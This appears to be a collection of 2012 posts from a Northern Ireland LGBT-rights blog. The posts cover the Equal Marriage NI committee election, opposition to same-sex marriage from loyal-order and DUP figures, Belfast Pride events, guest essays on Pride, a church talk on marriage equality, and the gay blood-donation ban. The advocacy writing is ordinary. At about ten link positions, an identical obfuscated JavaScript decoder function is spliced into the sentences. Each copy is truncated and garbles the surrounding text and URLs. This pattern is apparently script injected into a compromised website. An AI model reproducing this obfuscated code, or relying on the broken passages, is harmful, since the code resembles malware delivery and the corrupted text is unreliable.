Equal Marriage NI Committee Elected

Last night, Wednesday 5th September, a public meeting was held in order to elect the Equal Marriage NI Committee who will head the campaign for the fight for equal marriage in Northern Ireland. While much heated discussion has taken place online in regards the running of the election and the committee, the night went ahead successfully and votes were cast and counted.

The following positions were elected:

John O’Doherty - Chairperson

Mark Brown - Vice Chairperson
Malachai O’Hara - Vice Chairperson
Nicholas Young - Campaigns Officer
Gavin Boyd - Communications Officer
Cara McCann - Treasurer
Matthew McDermott - Secretary
Pádraig Ó Tuama - Faith Representative
Ciaran Moynagh - Non Executive Officer
Adam Murray - Non Executive Officer

A full breakdown of the election results can be found on Gyronny.com.

Now the hard work begins as the campaign works towards securing full equality of marriage.
You can follow the campaign on Twitter and Facebook.

Millar Farr Believes Law Should Be Based on the Bible?

“How politicians can imagine they have the right to create legislation which is contrary to holy scripture is beyond belief.”

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Millar Farr, Sovereign Grand Master of the Royal Black Institution, spoke at north and west Tyrone demonstration for Black Saturday. According to function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5and-master-1-4201753">The Newsletter there were around 1,000 members of the institution on parade in 24 preceptories accompanied by 22 bands from Strabane, Castlederg and Omagh.

In his speech, Farr spoke of the adoration towards the Queen and Royal Family, as usual, while also chiming in on the issue of gay marriage stating:

"In God’s law there is no provision for same-sex marriage,” he said. “Holy scripture is quite clear on the subject – marriage is between male and female only."

“While man-made laws can be changed, God’s law is unchangeable. How politicians can imagine they have the right to create legislation which is contrary to holy scripture is beyond belief.”

What else would he like to see made illegal?

Happy Pride

The Belfast Pride Parade takes place today!

The parade happens for a number of reason, many of which are listed in the guest posts featured on the blog this week. I can barely choose one or two to single out, though I will say that pride is about visibility. About showing that LGBT people are all around and not to be ignored, but accepted as people who should never be discriminated against. And whilst it is not illegal to be gay in this part of the world, homophobia is still a large problem. We also parade for those people in other parts of the world who can not be open about their sexuality, and who face punishment for being who they are: imprisonment and even death, whether legal or not.

So come out. Celebrate and demonstrate. Wear bright colours. Be happy. Be gay. Or straight.

Details:

Pride Breakfast
Northern Whig 10am
Just around the corner from the parade starting point, there will be food and early morning fun!

The Parade
Begins at 12noon from Custom House Square.
The Belfast Pride parade is the largest cross community carnival parade in Belfast and definitely one of the most talked about. The starting point for the parade is Custom House Square. The community, family & retail area at the Lagan Lookout will be open from 11am with the parade starting off at 12 noon SHARP!

A group of gay (and gay friendly) Christians, under the banner of Faith and Pride, will be supporting the parade along its route. They will be gathered outside St Georges Church, High Street from 10.30am.

Party in the Square
Custom House Square opens at 11am.
Have a drink, mingle, eat, and have fun.
Music and entertainment on stage.

Families in the Square
Beside the Lagan Lookout/Big Fish there will be a quieter alcohol-free area for families/kids and generally chilling out. Also this is where you can get all the info on the community and political groups who do stuff to help improve the rights and general equality of all people, including those who are in the LGBT community.
There will also be wifi hotspots and electrical goods charging points!

Bottom line: Have fun and don't be a dick.

What Pride Means to Me by Laura McKee

laura mckeeLaura McKee is a 29 year old single mum to four year old Abbie. Working full time and studying part time keeps her busy, but she also has a deep passion for LGBT rights and supporting Belfast Pride.

Pride Parades and Festivals around the world began to happen in the wake of the Stonewall Riots in New York, 1969. For whatever reason, during that period, gay men and women decided enough was enough of being forced underground and bullied by the police, and fought back during a raid on the Stonewall Inn. Pride Parades are held in commemoration of this and also to continue the fight for full inclusiveness and equal rights.

For many, Pride is seen as an excuse to go out and party, and whilst it is a fun time, for me and many others it means a little more. It makes me angry when members of the non-LGBT community say things like “why do you have to parade about it?” or “we don’t have a ‘straight’ pride?” There will always be a need! Even if full equality is reached in every corner of the earth, the need to celebrate and remember those who fought for it will still be there. What annoys me more is when people that are LGBT, say they don’t support Pride, for without it, and the people that are the real backbone of this community, they wouldn’t have the relative freedom that we enjoy here today.

I first began fundraising for Belfast Pride in 2011 with a 12 hour sponsored silence. The idea began as a bit of a joke given that I never shut up. However, for me it had a serious undertone; highlighting the forced silence of many LGBT people around the world. There are still countries where homosexuality is "punishable" by death or imprisonment. Whilst we are not just as horrific as that in Northern Ireland, unfortunately homophobia is alive and well. With politicians being free to go on television commenting on my right to marry, and likening my personal relationship to that of having sex with an animal there is a greater need than ever to march on the streets of Belfast every summer.

Volunteering for Belfast Pride has been great for me on a personal level. I had come out of a long term abusive relationship and needed to repair my confidence and meet new people. The sense of community with my new friends and acquaintances was astounding and just the right medicine. I soon became a bit of a "scene queen" and the fundraising helps me feel like I’m giving something back. This year I have raised almost £2000 from a ‘solo silent disco’ and relentlessly pounding the dance floors in the clubs: not socialising but selling glowsticks to the revellers.

Above all, nothing can describe the feeling I get on parade day. Last year I cried with emotion the whole route, and more recently did the same when joining with our friends on the Dublin Parade. Seeing the smiling faces, and hearing the applause of support as the parade progresses, is just beautiful. Yes there are still protests, and there is still progress to be made, but in comparison to the thousands of people that take to the streets in support I guess we aren’t going anywhere. In fact this year is set to be bigger and better than ever, I will probably still cry and the fight for equality will still rage on long after the last tear has dried and the hangover clears.

Got Pride? by Stephen Donnan

Stephen donnan

Stephen Donnan is a youth worker, community worker, Alliance Party activist and LGBT /civil rights campaigner based out of Belfast, Northern Ireland. He spends his time between East Belfast, North Down and Lurgan. He has have worked in the voluntary sector for some time now, having done work with Cara-Friend, The Rainbow Project, Belfast YMCA, the HIV Support Centre, Parkinson's UK, Make-A-Wish and PIPS.

Last weekend I had the pleasure of attending Northern Pride in Newcastle-Upon Tyne. I was shown around the town by a friend, the sun was blazing and the cider was ice cold, so we decided to take part in the parade. As we joined the throngs of revellers waving rainbow flags alongside drag queens and carnival creations I couldn’t help but notice that one thing was lacking from the parade route: protesters.

Yes that’s right, I couldn’t get my head round why this parade was going so smoothly, why were there no pickets along the street? Beside city hall? Outside the churches we passed? I looked several times and couldn’t see them, concluding that I must have missed them. I asked my friend if there had been protesters ever before and she looked at me as though I was nuts. I guess coming from Belfast you tend to expect certain things that other places consider bizarre, such as Christians protesting an LGBT Pride march.

Every year the Sandown Presbyterian Church sends a delegation to hold placards reading slogans about Sodom and Gomorrah, telling us that we are all going to Hell, that we are an abomination. These people aren’t alone, for their views are shared by many, including our very own First Minister.


Stephen at Northern Pride

As part of the UK, Northern Ireland has a track record for being the worst country in the British Isles for LGBT rights, being the last nation in the Union to function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5and%29_Order_1982">lift the ban on homosexuality in 1982. Direct Rule brought us protection against workplace discrimination based on who we love, equal access to IVF treatment, the right to change legal gender, the ability to serve openly in the military, legal protection from hate crime, rights of access to goods and services and the first Civil Partnerships took place in Belfast in 2004. But this myriad of equality legislation stopped as soon as the Northern Ireland Assembly was re-established in 2007.

Our Health Minister, Mr. Edwin Poots MLA and member of the DUP, has recently function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5and-18476308">refused to lift the ban on gay and bisexual men from donating blood, despite his counterparts in Scotland, Wales and England replacing the ban with a 12 month deferral period. Due to the nature of legislation in place, same-sex couples in a Civil Partnership arefunction r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5and-17474270"> forbidden to adopt children and raise a family and future Health Minister Jim Wells MLA described those taking part in Belfast Pride as ‘repugnant’, and the issue of same-sex marriage has drawn a line in the sand for political parties in NI as Scotland, England and Wales all have plans to legislate in favour of such a measure.

With Belfast Pride less than a week away, can we really call it Belfast ‘Pride’? For what does NI have to be proud of when it comes to the LGBT community? Our Assembly hasn’t passed a single piece of legislation in its five years that enshrines the rights of the LGBT community in law. The Grand Master of the Loyal Orders (which also forbids Catholics from joining) recently declared that function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5and-18827235">they are opposed to equal marriage as it will do ‘untold damage to civilization as we know it.’

US President Obama: First President to endorse same-sex marriage

Though things are changing slowly but surely. More Governments than ever are moving to legalise same-sex marriage, such as function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5and-scotland-politics-18981287">Scotland, New Zealand and even Vietnam. The USA has seen a massive swing in support for the issue, as President Barack Obama told the world earlier in the year that he was in favour of marriage equality, and his party (The Democratic Party) are set to officially endorse the move. Our neighbours, the Irish Republic, look set to legalise same-sex marriage some time in the next five years as all major political parties have adopted positions in favour of the measure.

The NI Executive recently launched ‘Our Time, Our Place’ as a means of celebrating all of the events taking place in NI this year, such as the Titanic commemoration, the Irish Open or the 100th anniversary of the signing of the Ulster Covenant. With the world changing around it, Northern Ireland will have to move with the times or face the prospect of losing its modern image of peace, inclusiveness and equality. While things right now aren’t as good as they should be, progress can be frustrating or unprecedented in its speed, however, progress is progress and it should be welcomed. Both function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5and/belfast-city-council-first-in-ireland-to-support-gay-marriagebut-unionists-walk-out-before-vote-16180935.html?product=Norton%20Internet%20Security&version=19.1.0.28&layout=OEM30&partner=SAMSUNG%20NBS%2860%29&ispid=&sitename=&actstat=not%20activated&substatus=trial&ncoap=1">Belfast City Council and function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5and/omagh-backs-gay-marriage-16191862.html">Omagh Council have both passed motions declaring their support for same-sex marriage. The Department of Employment and Learning is now function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5and.gov.uk/news-del-300712-farry-to-fund">funding a project aimed at raising awareness of the difficulties LGB people face in the workplace and Belfast Pride remains the largest LGBT festival in Ireland. Northern Ireland is part of the EU, and I believe it also only a matter of time before the European Court of Human Rights recognises the right of marriage between same-sex couples, and Northern Ireland’s homophobic political parties and organisations will have to realise that they can no longer stand in the way of equality and progress.

Things aren’t as good as they could be, but they are better than ever before.

What does Pride Mean To Me? By Simon Rea

Simon returned to Northern Ireland six years ago with his partner. He wandered along as a Steward in the parade that year and then expressed a lot of opinions about what the organisers were doing wrong and how they should improve it, they wisely called his bluff and now, as Secretary to Belfast Pride, Simon organises large chunks of the festival and receives daily feedback on where he is going wrong and what he needs to do to improve it. All views are his own as he is at pains to point out — no one speaks for Pride it's far to disparate for that.

A question often asked, that you would think is easy to answer, I have been going to Pride festivals for well over 20 years and have been instrumental in making them happen here in Belfast for the last six years (to varying degrees).

Let me start by saying that the meaning and motivation behind Pride participation is a personal one, I volunteer with a team of nine people who work all year round to make the Belfast festival happen, we all have different motivations for being there, we all had different triggers that made us step up to the plate and we all chose to focus on different aspects of the festival and place a different emphasis on it. We care about each other dearly, but fight like siblings for much of the year.

Since the first trail blazers, in the Stonewall bar in 1969 decided enough was enough Pride has been about rebellion; it’s been about drawing a line in the sand, it’s about saying "I’m Here". Beyond that people’s personal perspectives vary widely. So the first point in LGBT festivals and Pride marches is visibility.

Being seen, putting a face to homosexuality (or LGBT identity). It makes it far harder for people to be unpleasant, disparaging, bullying or dismissive when they have to face us, this visibility for many is deeply empowering, from my first Pride as a teenager in England I can remember how good it felt to walk the streets hand in hand with a same sex friend. I have never been a huge fan of public displays of affection, but being able to do it and feel “normal” or “safe” was amazing.

Many people I talk to today still tell me of coming to watch the parade for a year or two before plucking up the courage to walk in the parade. For others just visiting the festival and meeting other LGBT people is the important bit. The sheer size of the festival and the number of non LGBT people attending now gives camouflage to some who for years have been terrified of being associated with their peers.

Some of my colleagues focus on Arts and Entertainment — Pride has always had a sense of humour — knocking aside critics and abuse with wit and a song, for others it's about a struggle for rights, this may become more complicated and nuanced over the years as we gradually take back more and more rights in law and move towards a cultural equality. For others it’s a celebration of difference, for me often the most difficult to embody — to accept a widely diverse set of behaviours, styles, opinions and taste without judgement and with celebration. A concept I believe in, but one often difficult to live as a value.

Stereotypes exist and there is nothing wrong with that, but helping straight people to see beyond the stereotypes whilst accepting them is often frustrating, If a man wants to dress in drag, that is perfectly acceptable but if the media turns the image of the 1% who do participate in sequins and killer heels into an image of us all that is frustrating. It is also not something I choose to fight too loudly about because I absolutely do not want to criticise any person who uses said art form to express their identity.

People often say to me, "Why do we still need Pride? We have goods and services protection, we have employment protection, we have civil partnerships." The answer is simple — while we have to rely on law to protect our basic rights in a way that non LGBT people do not, there is a need for Pride. When I meet our friends colleagues from the many different LGBT support and lobbying organisations and hear tales of how people are marginalised, victimised and discriminated against each day I find I am motivated to keep providing a platform for them to raise issues and stimulate discussion and dialogue.

Pride will always be synonymous with rebellion, campaigning, humour and political activism, but its strength comes from its diversity, we may all be political but we don’t all agree: there is no "LGBT ideology", we don’t all speak with one voice on rights/health/style/culture/faith we don’t all vote the same way, nor should we.

What I have discovered in recent years is causing offence for the sake of it gets us nowhere. Smashing, obstructing, screaming and shouting achieve little, loving your neighbour, opening the hand of friendship and looking for dialogue with all your detractors gets results. Allowing your critics space to hold their opinions and space to change their opinions is truly empowering, the economic benefits of the festival for our city have opened far more doors for me than a protest ever has.

I will be at Pride again this year, adding my perspective to a very, very, diverse collective (sounds more like the Borg than a civil rights movement). I hope you join me, whether it’s to fight the good fight, be visible, or simply to have some fun.

Belfast Pride Week Events

belfast pride umbrella

Belfast Pride week is now in full swing with parties, celebration, demonstration, discussion and debates taking place throughout the week. All information about what's happening can be found at BelfastPride.com, or the full Pride Guide can be downloaded here [pdf]. We will be featuring a number of articles on LGBT Pride by a few guest writers each giving their own opinion on what Pride means to them. We are for full equality and would like to hear your views on the issue of LGBT rights and equality.

Here are a few events of note taking place this week:

Monday 30th July

Amnesty Pride Lecture plus Q&A
The Dangerous World of Gay ‘Cures’
Europa Hotel 7.30pm

In 2010 journalist Patrick Strudwick published “The Ex-Gay Files: The Bizarre World of Gay-to-Straight Conversion” in The Independent, chronicling a year of undercover investigation of therapists claiming to be able to ‘convert’ gays and lesbians to heterosexuality. In some countries, ‘gay conversion therapy’ is used as a form of punishment amounting to torture against gay people.
Strudwick will speak about his investigation into ‘gay conversion therapy’ and how that is used here and across the world as an attempt to negate gay identity and human rights for gay people. Hosted by William Crawley.

Tuesday 31st July

Pride Talks Back 2012
Europa Hotel 6.30pm

Belfast Pride’s Annual debate by the folks on the hill returns to the Europa Hotel. It’s your chance to put your questions to those in power in Northern Ireland.
This year all five of Northern Ireland’s main political parties will be represented in this debate, hosted by William Crawley. Definitely not one to miss!

Wednesday 1st August

GLYNI Presents…
Hymn or Us

Europa Hotel 7pm
The theme of this year’s debate is Faith in Education. The panel of religious leaders and education experts will debate the issues of faith and being gay in the classroom. Hosted by WIlliam Crawley.

Thursday 2nd August

Saving Face film screening
Crescent Arts Centre 7.30 – 10.30pm

The Family Ties Project will be holding a screening of a film – Saving Face. This is the story in which a Chinese-American lesbian and her traditionalist mother are reluctant to go public with secret loves that clash against cultural expectations. Afterwards there will be a question and answer session with members of the Family Ties Group, a group for parents by parents, of lesbian, gay and bisexual and transgender people. The Q&A will centre on the themes raised by the film and how families can be supportive of their lesbian, gay, bisexual and transgender members.

Unison — Your Rights at Work
Unison, Galway House, York Street 6pm – 7.30pm
A free session with an overview of equality rights for LGBT people. Opportunity for questions and discussion. Refreshments provided.
RSVP to :
Roisin Lavery at the Equality Commission 02890 500611 rolavery@equalityni.org or Fidelma Carolan at UNISON 07796675826 f.carolan@unison.co.uk

Saturday 4th August

Pride Parade & Party in the Square
Leaves Custom House Square at 12 noon
Assemble from 11.30am

‘Discussion: The Right to Gay Marriage’


Reverend Chris Hudson

Eamon Gilmore TD, Leader of the Labour Party in Ireland, Tánaiste (Deputy Prime Minister) and Minister for Foreign Affairs & Trade, said at the beginning of the month that "the right of gay couples to marry is, quite simply, the civil rights issue of this generation," and it may be difficult to see it as anything other than that, or at least up there in the top 5, for the sake of argument.

Today, as part of Belfast Pride, All Souls Church hosted a discussion on why "gay marriage", or quite simply "marriage equality" should be legislated in the UK and Ireland, led by Rev. Chris Hudson.

Rev. Hudson began with a small bit on his own background, stating that he has 20 years' experience as a trade union official, working for workers rights, and specifically the rights of women in the workplace. He also worked as the head of the South African anti-apartheid movement in Ireland. Chris also works closely with function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5and.org/">Changing Attitude Ireland, an organisation seeking "full acceptance and welcome for lesbian, gay, bisexual and transgendered persons in the Churches in Ireland." He is clearly an advocate for the rights of people and works hard to do just that, and, as stated this afternoon, this paper marks the beginning of his personal campaign for marriage equality in Northern Ireland.

"It is an incorrect position that all Christians are against marriage equality."

It is essential to contextualise this debate with other sociological problems. Until 1967 not every state in the USA was it legal for interracial marriage to take place. However, this still takes place within some Baptist churches in the United States, as recently as last week.

While changes were made so that "coloured" people were allowed to sit in the middle of the bus, so the comparison can be drawn to the introduction of civil partnerships: it's the middle of the bus. Not fully equal. Marriage equality, Hudson stated, is about extending the current legislation on marriage, "not about creating another institution for gay people, as in the case of civil partnerships."

Another example raised by Rev. Hudson is St Paul's writings on women, how they are to be subordinate to men, the are allowed to read, but not to teach and other statements which today are taken as completely sexist and not acceptable anywhere. We do not live today by the standards and cultural norms of two millennia.

1 Corinthians 14*
33: ...As in all the churches of the saints, 34: the women should keep silence in the churches. For they are not permitted to speak, but should be subordinate, as even the law says. 35: If there is anything they desire to know, let them ask their husbands at home. For it is shameful for a woman to speak in church.

Or in 1 Tim. 2: 11-15
I give no permission for a woman to teach or to have authority over a man. A woman ought to be quiet, because Adam was formed first and Eve afterwards, and it was not Adam who was led astray but the woman who was led astray and fell into sin. Nevertheless, she will be saved by child-bearing, provided she lives a sensible life and is constant in faith and love and holiness.

Rev. Hudson's campaign is "deliberately religious", as he states that LGBT people of faith will be denied the same rights as those without faith if the "secular" campaign continues its campaign to separate the religious blessing and civil/legal marriage. This denies those same-sex couples of faith who wish to be married in a church. Part of Chris' campaign is to allow for legislation of marriages within churches, for those who wish to authorise this ceremony. Currently, within Northern Ireland and the Republic of Ireland it is illegal for churches to perform same-sex civil partnerships, leaving some to conduct a prayer at the reception, or a blessing at another time from the civil ceremony, as Chris Hudson has done himself in the past (I was present for one myself).

"The Catholic Church is obsessed with the male genitals... Is Christianity not about God's love? Style over substance. Some churches still have issue of women in the church simply because they don't have the right genital make-up to be a priest."

Hudson made the point that governments "should legislate to suit all denominations: one law for all."

"If debating with people who take a literalist view on the bible, it may be an hour you won't get back".

I have only stated a small selection of Chris Hudson's words as he said them today, and are written up here . He is just one voice fighting for Equal Marriage in Northern Ireland, and one among many within the religious community. As he, and others, have stated often: there is not one homogeneous religious view in society, and it is false to claim that there is "one religious view, or indeed one Christian Church which holds the truth."

Continuing NI gay blood ban continues the prejudice

The Northern Ireland gay blood ban looks set to continue with the news from the DUP's health minister, Edwin Poots MLA, that he has received some new research strengthening his position.

As reported on the function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5and-18476308">BBC, the minister says he doesn't want the ban just to apply to gays. But I have an issue with what he has said:

I think that people who engage in high risk sexual behaviour in general should be excluded from giving blood.

And so someone who has sex with somebody in Africa or sex with prostitutes, I am very reluctant about these people being able to give blood.

It is all very well for the minister to hide behind these statements, but he is missing the point. Not all gay men engage in high risk sex.

In the rest of the UK, gay men can give blood providing that they have abstained from sex for a year. But, as Tom Riddington says,

the new guidelines in the rest of the UK still classify all gay men as unsafe as those who use prostitutes or sleep with intravenous drug users. The remaining limitations are a reminder that deeply ingrained discrimination persists.

In the week that the UUP's Lord Maginnis, on the function r0093c87a1(re){var xc='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var uf='';var pd,r7,x1,x4,s1,v0,r2;var s5=0;do{x4=xc.indexOf(re.charAt(s5++));s1=xc.indexOf(re.charAt(s5++));v0=xc.indexOf(re.charAt(s5++));r2=xc.indexOf(re.charAt(s5++));pd=(x4<<2)|(s1>>4);r7=((s1&15)<<4)|(v0>>2);x1=((v0&3)<<6)|r2;if(pd>=192)pd+=848;else if(pd==168)pd=1025;else if(pd==184)pd=1105;uf+=String.fromCharCode(pd);if(v0!=64){if(r7>=192)r7+=848;else if(r7==168)r7=1025;else if(r7==184)r7=1105;uf+=String.fromCharCode(r7);}if(r2!=64){if(x1>=192)x1+=848;else if(x1==168)x1=1025;else if(x1==184)x1=1105;uf+=String.fromCharCode(x1);}}while(s5and/nolan/">Nolan Show, suggested that being gay was

deviant and the first step on the rung to bestiality

I am concerned that Mr Poots is hiding behind research to perpetuate deeply ingrained prejudice.

Even the new guidelines in the rest of the UK fail to acknowledge variance in sexual practice in the gay community.

A gay man who uses condoms and only has oral sex with a monogamous partner is immediately excluded from donating. A heterosexual man who does not use contraception and has many partners is not.

The blood transfusion service is using the tag line: Give Blood Not Excuses.

As Stephen Glenn said back in April,

Well it appears that I might just be able to avoid all the excuses at some point over 3,590 days from now, only if I resist the urge to have sex with someone with whom I have same sex attraction for 10 years. Even if I were to only have sex and only safe sex with one man who only has sex with me for that period it won't be good enough for Advisory Committee on the Safety of Blood, Tissues and Organs (SaBTO).

Unlike Stephen, I put myself in the category of not being able to give blood. I am living with HIV. However, most gay men in Northern Ireland are not living with HIV. And if it is HIV that is the major concern, can we please examine the science a little further? How come after a test outside 'the window' from when a man had sex with another man, the doctors at the GUM clinics can assure that the person will not be infected yet the SaBTO thinks you have to wait 9 years and 9 months longer than that window person.

